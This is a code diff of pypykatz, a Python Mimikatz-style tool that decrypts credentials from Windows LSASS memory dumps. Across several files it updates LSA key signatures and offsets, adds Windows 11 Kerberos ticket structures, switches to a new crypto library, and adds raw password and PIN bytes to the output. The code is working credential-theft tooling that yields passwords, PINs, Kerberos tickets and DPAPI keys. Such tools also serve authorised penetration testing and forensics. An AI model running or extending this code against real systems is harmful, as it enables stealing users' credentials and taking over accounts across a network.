123 asyncio.run(amain(la))
1010 import traceback
1111 import base64
1212
13 from pypykatz import logging
13 from pypykatz import logger
1414 from pypykatz.pypykatz import pypykatz
1515 from pypykatz.commons.common import UniversalEncoder
1616 from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
5959 json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
6060
6161 elif args.outfile and args.grep:
62 with open(args.outfile, 'w', newline = '') as f:
62 with open(args.outfile, 'w', newline = '', errors='replace') as f:
6363 f.write(':'.join(LogonSession.grep_header) + '\r\n')
6464 for result in results:
6565 for luid in results[result].logon_sessions:
6767 f.write(':'.join(row) + '\r\n')
6868
6969 elif args.outfile:
70 with open(args.outfile, 'w') as f:
70 with open(args.outfile, 'w', errors='replace') as f:
7171 for result in results:
7272 f.write('FILE: ======== %s =======\n' % result)
7373
8888 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
8989
9090 elif args.grep:
91 print(':'.join(LogonSession.grep_header))
91 if hasattr(args, 'directory') and args.directory is not None:
92 print(':'.join(['filename'] + LogonSession.grep_header))
93 else:
94 print(':'.join(LogonSession.grep_header))
9295 for result in results:
9396 for luid in results[result].logon_sessions:
9497 for row in results[result].logon_sessions[luid].to_grep_rows():
98 if hasattr(args, 'directory') and args.directory is not None:
99 row = [result] + row
95100 print(':'.join(row))
96101 for cred in results[result].orphaned_creds:
97102 t = cred.to_dict()
98103 if t['credtype'] != 'dpapi':
99104 if t['password'] is not None:
100105 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
106 if hasattr(args, 'directory') and args.directory is not None:
107 x = [result] + x
101108 print(':'.join(x))
102109 else:
103110 t = cred.to_dict()
104111 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
112 if hasattr(args, 'directory') and args.directory is not None:
113 x = [result] + x
105114 print(':'.join(x))
106115
107116 for pkg, err in results[result].errors:
108117 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
109118 err_str = base64.b64encode(err_str.encode()).decode()
110119 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
120 if hasattr(args, 'directory') and args.directory is not None:
121 x = [result] + x
111122 print(':'.join(x) + '\r\n')
112123 else:
113124 for result in results:
127138 print('== Errors ==')
128139 for pkg, err in results[result].errors:
129140 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
141 logger.debug(err_str)
130142 err_str = base64.b64encode(err_str.encode()).decode()
131143 print('%s %s' % (pkg+'_exception_please_report',err_str))
132144
140152
141153 if args.kerberos_dir:
142154 dir = os.path.abspath(args.kerberos_dir)
143 logging.info('Writing kerberos tickets to %s' % dir)
155 logger.info('Writing kerberos tickets to %s' % dir)
144156 for filename in results:
145157 base_filename = ntpath.basename(filename)
146158 ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
203215 else:
204216 globdata = os.path.join(dir_fullpath, file_pattern)
205217
206 logging.info('Parsing folder %s' % dir_fullpath)
218 logger.info('Parsing folder %s' % dir_fullpath)
207219 for filename in glob.glob(globdata, recursive=args.recursive):
208 logging.info('Parsing file %s' % filename)
220 logger.info('Parsing file %s' % filename)
209221 try:
210222 if args.kerberos_dir is not None and 'all' not in args.packages:
211223 args.packages.append('ktickets')
215227 raise Exception('Error in modules!')
216228 except Exception as e:
217229 files_with_error.append(filename)
218 logging.exception('Error parsing file %s ' % filename)
230 logger.exception('Error parsing file %s ' % filename)
219231 if args.halt_on_error == True:
220232 raise e
221233 else:
222234 pass
223235
224236 else:
225 logging.info('Parsing file %s' % args.memoryfile)
237 logger.info('Parsing file %s' % args.memoryfile)
226238 try:
227239 if args.kerberos_dir is not None and 'all' not in args.packages:
228240 args.packages.append('ktickets')
231243 if args.halt_on_error == True and len(mimi.errors) > 0:
232244 raise Exception('Error in modules!')
233245 except Exception as e:
234 logging.exception('Error while parsing file %s' % args.memoryfile)
246 logger.exception('Error while parsing file %s' % args.memoryfile)
235247 if args.halt_on_error == True:
236248 raise e
237249 else:
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import io
6 import logging
7 from pypykatz.crypto.RC4 import RC4
5
6 from unicrypto.symmetric import RC4
87 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
98 from pypykatz.commons.win_datatypes import LONG
109
8786 self.log('Looking for main struct signature in memory...')
8887 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
8988 if len(fl) == 0:
90 logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
89 self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex())
9190 raise Exception('LSA signature not found!')
9291
9392 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
44 #
55
66
7 import traceback
78 from pypykatz import logger
89 from pypykatz.commons.common import hexdump
9 from pypykatz.crypto.des import triple_des, CBC
10 from pypykatz.crypto.aes import AESModeOfOperationCFB
10 from unicrypto.symmetric import TDES, AES, MODE_CFB, MODE_CBC
1111 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
1212
1313 class LsaDecryptor_NT6(PackageDecryptor):
5151
5252 def get_IV(self, pos):
5353 self.log('Reading IV')
54 #print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr))
54
55 #### TEST!!!!
56 #if hasattr(self.sysinfo, 'IV_OFFSET'):
57 # ptr_iv = self.reader.get_ptr_with_offset(pos + self.sysinfo.IV_OFFSET)
58 # self.reader.move(ptr_iv)
59 # data = self.reader.read(self.decryptor_template.key_pattern.IV_length)
60 # self.log('IV data: %s' % hexdump(data))
61 # return data
62
5563 ptr_iv = self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr)
56 self.log('IV pointer takes us to 0x%08x' % ptr_iv)
64 #self.log('IV pointer takes us to 0x%08x' % ptr_iv)
5765 self.reader.move(ptr_iv)
5866 data = self.reader.read(self.decryptor_template.key_pattern.IV_length)
5967 self.log('IV data: %s' % hexdump(data))
8795 if size % 8:
8896 if not self.aes_key or not self.iv:
8997 return cleartext
90 cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv)
98 cipher = AES(self.aes_key, MODE_CFB, IV = self.iv, segment_size=128)
9199 cleartext = cipher.decrypt(encrypted)
92100 else:
93101 if not self.des_key or not self.iv:
94102 return cleartext
95 cipher = triple_des(self.des_key, CBC, self.iv[:8])
103 cipher = TDES(self.des_key, MODE_CBC, self.iv[:8])
96104 cleartext = cipher.decrypt(encrypted)
97105 return cleartext
98106
5656 template = templates['nt5']['x86']['1']
5757
5858 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
59 #1
6059 template = templates['nt6']['x86']['1']
61 #key_pattern = LSADecyptorKeyPattern()
62 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
63 #key_pattern.IV_length = 16
64 #key_pattern.offset_to_IV_ptr = 5
65 #key_pattern.offset_to_DES_key_ptr = -76
66 #key_pattern.offset_to_AES_key_ptr = -21
67 #
68 #template.key_pattern = key_pattern
69 #template.key_struct = KIWI_BCRYPT_KEY
70 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
7160
7261 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
73 #2
7462 template = templates['nt6']['x86']['2']
75 #key_pattern = LSADecyptorKeyPattern()
76 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
77 #key_pattern.IV_length = 16
78 #key_pattern.offset_to_IV_ptr = 5
79 #key_pattern.offset_to_DES_key_ptr = -76
80 #key_pattern.offset_to_AES_key_ptr = -21
81 #
82 #template.key_pattern = key_pattern
83 #template.key_struct = KIWI_BCRYPT_KEY
84 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
8563
8664 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
87 #3
8865 template = templates['nt6']['x86']['3']
89 #key_pattern = LSADecyptorKeyPattern()
90 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
91 #key_pattern.IV_length = 16
92 #key_pattern.offset_to_IV_ptr = 5
93 #key_pattern.offset_to_DES_key_ptr = -69
94 #key_pattern.offset_to_AES_key_ptr = -18
95 #
96 #template.key_pattern = key_pattern
97 #template.key_struct = KIWI_BCRYPT_KEY8
98 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
9966
10067 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
101 #4
10268 template = templates['nt6']['x86']['4']
103 #key_pattern = LSADecyptorKeyPattern()
104 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
105 #key_pattern.IV_length = 16
106 #key_pattern.offset_to_IV_ptr = 5
107 #
108 #key_pattern.offset_to_DES_key_ptr = -69
109 #key_pattern.offset_to_AES_key_ptr = -18
110 #
111 #template.key_pattern = key_pattern
112 #template.key_struct = KIWI_BCRYPT_KEY81
113 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
11469
11570 elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value:
116 #5
117 template = templates['nt6']['x86']['5']
118
119 #key_pattern = LSADecyptorKeyPattern()
120 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
121 #key_pattern.IV_length = 16
122 #key_pattern.offset_to_IV_ptr = 5
123 #key_pattern.offset_to_DES_key_ptr = -79
124 #key_pattern.offset_to_AES_key_ptr = -22
125 #
126 #template.key_pattern = key_pattern
127 #template.key_struct = KIWI_BCRYPT_KEY81
128 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
129
130
131 elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value:
132 #6
71 template = templates['nt6']['x86']['5']
72
73 elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value:
13374 template = templates['nt6']['x86']['6']
134 #key_pattern = LSADecyptorKeyPattern()
135 #key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
136 #key_pattern.IV_length = 16
137 #key_pattern.offset_to_IV_ptr = 5
138 #key_pattern.offset_to_DES_key_ptr = -79
139 #key_pattern.offset_to_AES_key_ptr = -22
140 #
141 #template.key_pattern = key_pattern
142 #template.key_struct = KIWI_BCRYPT_KEY81
143 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
75 else:
76 template = templates['nt6']['x86']['7']
14477
14578 elif sysinfo.architecture == KatzSystemArchitecture.X64:
146
14779 if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
14880 raise Exception("Maybe implemented later")
14981
15284
15385 elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
15486 #vista
155 #1
15687 template = templates['nt6']['x64']['1']
157 #key_pattern = LSADecyptorKeyPattern()
158 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
159 #key_pattern.IV_length = 16
160 #key_pattern.offset_to_IV_ptr = 63
161 #key_pattern.offset_to_DES_key_ptr = -69
162 #key_pattern.offset_to_AES_key_ptr = 25
163 #
164 #template.key_pattern = key_pattern
165 #template.key_struct = KIWI_BCRYPT_KEY
166 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
16788
16889 elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
16990 #win 7
170 #2
17191 template = templates['nt6']['x64']['2']
172
173 #key_pattern = LSADecyptorKeyPattern()
174 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
175 #key_pattern.IV_length = 16
176 #key_pattern.offset_to_IV_ptr = 59
177 #key_pattern.offset_to_DES_key_ptr = -61
178 #key_pattern.offset_to_AES_key_ptr = 25
179 #
180 #template.key_pattern = key_pattern
181 #template.key_struct = KIWI_BCRYPT_KEY
182 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
18392
18493 elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
18594 #win 8 and blue
186 #3
187 #key_pattern = LSADecyptorKeyPattern()
188 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
189 #key_pattern.IV_length = 16
190 #key_pattern.offset_to_IV_ptr = 62
191 #key_pattern.offset_to_DES_key_ptr = -70
192 #key_pattern.offset_to_AES_key_ptr = 23
193
19495 if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
195 template = templates['nt6']['x64']['3']
196 #win8
197 #3
198 #template.key_pattern = key_pattern
199 #template.key_struct = KIWI_BCRYPT_KEY8
200 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
201
96 if sysinfo.msv_dll_timestamp < 0x60000000:
97 template = templates['nt6']['x64']['3']
98 else:
99 template = templates['nt6']['x64']['7']
202100 else:
203101 template = templates['nt6']['x64']['4']
204 #4
205102 #win blue
206 #template.key_pattern = key_pattern
207 #template.key_struct = KIWI_BCRYPT_KEY81
208 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
209
210103
211104 elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
212 template = templates['nt6']['x64']['5']
213 #5
214 #key_pattern = LSADecyptorKeyPattern()
215 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
216 #key_pattern.IV_length = 16
217 #key_pattern.offset_to_IV_ptr = 61
218 #key_pattern.offset_to_DES_key_ptr = -73
219 #key_pattern.offset_to_AES_key_ptr = 16
220 #
221 #template.key_pattern = key_pattern
222 #template.key_struct = KIWI_BCRYPT_KEY81
223 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
224
105 template = templates['nt6']['x64']['5']
225106
226107 #elif sysinfo.buildnumber <= WindowsBuild.WIN_10_1809.value:
227108 else:
228109 template = templates['nt6']['x64']['6']
229 #1809
230 #6
231 #key_pattern = LSADecyptorKeyPattern()
232 #key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
233 #key_pattern.IV_length = 16
234 #key_pattern.offset_to_IV_ptr = 67
235 #key_pattern.offset_to_DES_key_ptr = -89
236 #key_pattern.offset_to_AES_key_ptr = 16
237 #
238 #template.key_pattern = key_pattern
239 #template.key_struct = KIWI_BCRYPT_KEY81
240 #template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
241110
242111 else:
243112 raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber))
311180 self.hardkey = KIWI_HARD_KEY(reader)
312181
313182 def verify(self):
314 return self.tag == b'KSSM'
183 return self.tag == b'KSSM'
184
185 class KIWI_BCRYPT_KEY81_NEW:
186 def __init__(self, reader):
187 self.size = ULONG(reader).value
188 self.tag = reader.read(4) # 'MSSK'
189 self.type = ULONG(reader).value
190 self.unk0 = ULONG(reader).value
191 self.unk1 = ULONG(reader).value
192 self.unk2 = ULONG(reader).value
193 self.unk3 = ULONG(reader).value
194 self.unk4 = ULONG(reader).value
195 reader.align()
196 self.unk5 = PVOID(reader).value #before, align in x64
197 self.unk6 = ULONG(reader).value
198 self.unk7 = ULONG(reader).value
199 self.unk8 = ULONG(reader).value
200 self.unk9 = ULONG(reader).value
201 self.unk10 = ULONG(reader).value
202 self.hardkey = KIWI_HARD_KEY(reader)
203
204 def verify(self):
205 return self.tag == b'KSSM'
315206
316207
317208 class PKIWI_BCRYPT_KEY(POINTER):
380271 self.key_pattern.offset_to_AES_key_ptr = 23
381272
382273 self.key_struct = KIWI_BCRYPT_KEY81
383 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
274 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
384275
385276 class LSA_x64_5(LsaTemplate_NT6):
386277 def __init__(self):
408299 self.key_struct = KIWI_BCRYPT_KEY81
409300 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
410301
302 class LSA_x64_7(LsaTemplate_NT6):
303 def __init__(self):
304 LsaTemplate_NT6.__init__(self)
305 self.key_pattern = LSADecyptorKeyPattern()
306 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
307 self.key_pattern.IV_length = 16
308 self.key_pattern.offset_to_IV_ptr = 58
309 self.key_pattern.offset_to_DES_key_ptr = -62
310 self.key_pattern.offset_to_AES_key_ptr = 23
311
312 self.key_struct = KIWI_BCRYPT_KEY8
313 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
314
411315 class LSA_x86_1(LsaTemplate_NT6):
412316 def __init__(self):
413317 LsaTemplate_NT6.__init__(self)
487391 self.key_struct = KIWI_BCRYPT_KEY81
488392 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
489393
394 class LSA_x86_7(LsaTemplate_NT6):
395 def __init__(self):
396 LsaTemplate_NT6.__init__(self)
397
398 self.key_pattern = LSADecyptorKeyPattern()
399 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
400 self.key_pattern.IV_length = 16
401 self.key_pattern.offset_to_IV_ptr = 5
402 self.key_pattern.offset_to_DES_key_ptr = -79
403 self.key_pattern.offset_to_AES_key_ptr = -22
404
405 self.key_struct = KIWI_BCRYPT_KEY81_NEW
406 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
490407
491408
492409 templates = {
498415 '4' : LSA_x64_4(),
499416 '5' : LSA_x64_5(),
500417 '6' : LSA_x64_6(),
418 '7' : LSA_x64_7(),
501419 },
502420 'x86': {
503421 '1' : LSA_x86_1(),
506424 '4' : LSA_x86_4(),
507425 '5' : LSA_x86_5(),
508426 '6' : LSA_x86_6(),
427 '7' : LSA_x86_7(),
509428 }
510429 }
511430 }
44 #
55
66 from abc import ABC, abstractmethod
7 import logging
7 from pypykatz import logger
88 from pypykatz.commons.common import hexdump
99 from pypykatz.commons.win_datatypes import RTL_AVL_TABLE
1010
1313 self.package_name = package_name
1414 self.module_name = module_name
1515 self.sysinfo = sysinfo
16 self.logger = logging.getLogger('pypykatz')
16 self.logger = logger
1717
1818 def get_level(self):
1919 return self.logger.getEffectiveLevel()
6060 def log(self, msg, loglevel = 6):
6161 self.logger.log('%s' % msg, loglevel)
6262
63 def find_signature(self, module_name, signature):
63 def find_signature(self, module_name, signature = None):
6464 """
6565 Searches for a sequence of bytes in the module identified by module_name
6666 """
6767 self.log('Searching for key struct signature')
68 fl = self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True)
68 if signature is None:
69 signature = self.decryptor_template.signature
70 fl = self.reader.find_in_module(module_name, signature, find_first = True)
6971 if len(fl) == 0:
70 raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex()))
72 raise Exception('Signature was not found in module %s Signature: %s' % (module_name, signature.hex()))
7173 return fl[0]
7274
7375 def log_ptr(self, ptr, name, datasize = None):
116118 if temp and len(temp) > 0:
117119 if bytes_expected == False:
118120 try: # normal password
119 dec_password = temp.decode('ascii')
121 dec_password = temp.decode('utf-16-le')
120122 except: # machine password
121123 try:
122124 dec_password = temp.decode('utf-8')
123125 except:
124126 try:
125 dec_password = temp.decode('utf-16-le')
127 dec_password = temp.decode('ascii')
126128 except:
127129 dec_password = temp.hex()
128130 else: # if not machine password, then check if we should trim it
131133 else:
132134 dec_password = temp
133135
134 return dec_password
136 return dec_password, temp
135137
136138 def walk_avl(self, node_ptr, result_ptr_list):
137139 """
5656 cache = cloudap_entry.cacheEntry.read(self.reader)
5757 cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
5858 if cache.cbPRT != 0 and cache.PRT.value != 0:
59 temp = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True)
59 temp, raw_dec = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True)
6060 try:
6161 temp = temp.decode()
6262 except:
6868 unk = cache.toDetermine.read(self.reader)
6969 if unk is not None:
7070 cred.key_guid = unk.guid.value
71 cred.dpapi_key = self.decrypt_password(unk.unk)
72 cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
71 cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True)
72 cred.dpapi_key_sha1 = hashlib.sha1(cred.dpapi_key).hexdigest()
7373
7474 if cred.PRT is None and cred.key_guid is None:
7575 return
1515 return None
1616
1717 if sysinfo.architecture == KatzSystemArchitecture.X64:
18 template.signature = b'\x44\x8b\x01\x44\x39\x42\x18\x75'
18 template.signature = b'\x44\x8b\x01\x44\x39\x42'
1919 template.first_entry_offset = -9
2020 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY
2121
9393 self.unk2 = DWORD64(reader)
9494 self.unk3 = DWORD64(reader)
9595 self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)
96
97
98 #### THIS IS FOR TESTING!!!
99 class PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(POINTER):
100 def __init__(self, reader):
101 super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY_11)
102
103 class KIWI_CLOUDAP_LOGON_LIST_ENTRY_11:
104 def __init__(self, reader):
105 self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader)
106 self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader)
107 self.LocallyUniqueIdentifier = 1
108 reader.read(8*11)
109 #self.unk0 = DWORD(reader)
110 #self.unk1 = DWORD(reader)
111 #self.unk2 = DWORD(reader)
112 #reader.align()
113 #self.LocallyUniqueIdentifier = LUID(reader).value
114 #self.unk3 = DWORD64(reader)
115 #self.unk4 = DWORD64(reader)
116 #self.unk5 = DWORD64(reader)
117 #self.unk6 = DWORD64(reader)
118 self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)
4949 return ptr_entry, ptr_entry_loc
5050
5151 def add_entry(self, dpapi_entry):
52
52 if dpapi_entry.key is None:
53 return
54
5355 if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
54 dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
56 dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
5557 sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
5658
5759 c = DpapiCredential()
8989 self.KeyUid = GUID(reader).value
9090 self.insertTime = FILETIME(reader)
9191 self.keySize = ULONG(reader).value
92 self.key = reader.read(self.keySize)
92 if self.keySize < 512:
93 self.key = reader.read(self.keySize)
94 else:
95 self.key = None
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import io
6
5 from typing import List
76 #from pypykatz.commons.common import *
87 #from pypykatz.commons.filetime import *
98 #from .templates import *
1413
1514 class KerberosCredential:
1615 def __init__(self):
17 self.credtype = 'kerberos'
18 self.username = None
19 self.password = None
20 self.domainname = None
21 self.luid = None
22 self.tickets = []
23 self.pin = None
16 self.credtype:str = 'kerberos'
17 self.username:str = None
18 self.password:str = None
19 self.password_raw:bytes = b''
20 self.domainname:str = None
21 self.luid:int = None
22 self.tickets:List[KerberosTicket] = []
23 self.pin:str = None
24 self.pin_raw:bytes = None
2425 self.cardinfo = None
2526
2627 def __str__(self):
2930 t += '\t\tDomain: %s\n' % self.domainname
3031 if self.password is not None:
3132 t += '\t\tPassword: %s\n' % self.password
33 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3234 if self.pin is not None:
3335 t += '\t\tPIN: %s\n' % self.pin
36 t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex()
3437 if self.cardinfo is not None:
3538 t += '\t\tCARDINFO: \n'
3639 t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName']
5154 t['credtype'] = self.credtype
5255 t['username'] = self.username
5356 t['password'] = self.password
57 t['password_raw'] = self.password_raw
5458 t['domainname'] = self.domainname
5559 t['luid'] = self.luid
5660 t['pin'] = self.pin
61 t['pin_raw'] = self.pin_raw
5762 t['cardinfo'] = self.cardinfo
5863 t['tickets'] = []
5964 for ticket in self.tickets:
122127
123128 self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
124129 self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
125 if self.current_cred.username.endswith('$') is True:
126 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
127 if self.current_cred.password is not None:
128 self.current_cred.password = self.current_cred.password.hex()
129 else:
130 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
130 #if self.current_cred.username.endswith('$') is True:
131 # self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
132 # if self.current_cred.password is not None:
133 # self.current_cred.password = self.current_cred.password.hex()
134 #else:
135 # self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
136 self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
131137
132138 if kerberos_logon_session.SmartcardInfos.value != 0:
133139 csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
134140 pin_enc = csp_info.PinCode.read_maxdata(self.reader)
135 self.current_cred.pin = self.decrypt_password(pin_enc)
141 self.current_cred.pin, self.current_cred.pin_raw = self.decrypt_password(pin_enc)
136142 if csp_info.CspDataLength != 0:
137143 self.current_cred.cardinfo = csp_info.CspData.get_infos()
138144
146152 ### GOOD
147153 #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
148154 #print(keydata_enc)
149 #keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
155 #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True)
150156 #print(keydata_enc.hex())
151157 #input('KEY?')
152158
9191 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
9292
9393
94 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
94 elif WindowsBuild.WIN_10_1607.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
9595 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
9696 template.first_entry_offset = 6
9797 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
9898 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
99 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
100 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
101 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
102
103 elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value:
104 template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
105 template.first_entry_offset = 6
106 template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
107 template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11
99108 template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
100109 template.hash_password_struct = KERB_HASHPASSWORD_6_1607
101110 template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
908917 reader.align()
909918 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
910919
920 class PKIWI_KERBEROS_INTERNAL_TICKET_11(POINTER):
921 def __init__(self, reader):
922 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_11)
923
924
925 class KIWI_KERBEROS_INTERNAL_TICKET_11:
926 def __init__(self, reader):
927 #input('KIWI_KERBEROS_INTERNAL_TICKET_11\n' + hexdump(reader.peek(0x300)))
928 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_11(reader)
929 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_11(reader)
930 self.unk0 = PVOID(reader).value
931 self.unk1 = PVOID(reader).value
932 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
933 self.TargetName = PKERB_EXTERNAL_NAME(reader)
934 self.DomainName = LSA_UNICODE_STRING(reader)
935 self.TargetDomainName = LSA_UNICODE_STRING(reader)
936 self.Description = LSA_UNICODE_STRING(reader)
937 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
938 self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value
939 self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value
940 self.ClientName = PKERB_EXTERNAL_NAME(reader)
941 self.name0 = PVOID(reader).value
942 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
943 self.unk2 = ULONG(reader).value
944 self.unk14393_0 = PVOID(reader).value
945 self.unk2x = ULONG(reader).value
946 self.KeyType = ULONG(reader).value
947 self.Key = KIWI_KERBEROS_BUFFER(reader)
948 self.unk14393_1 = PVOID(reader).value
949 self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value
950 self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value
951 self.unk5 = PVOID(reader).value # // up(reader).value
952 self.StartTime = FILETIME(reader).value
953 self.EndTime = FILETIME(reader).value
954 self.RenewUntil = FILETIME(reader).value
955 self.unk6 = ULONG(reader).value
956 self.unk7 = ULONG(reader).value
957 self.domain = PCWSTR(reader).value
958 self.unk8 = ULONG(reader).value
959 reader.align()
960 self.strangeNames = PVOID(reader).value
961 self.unk9 = ULONG(reader).value
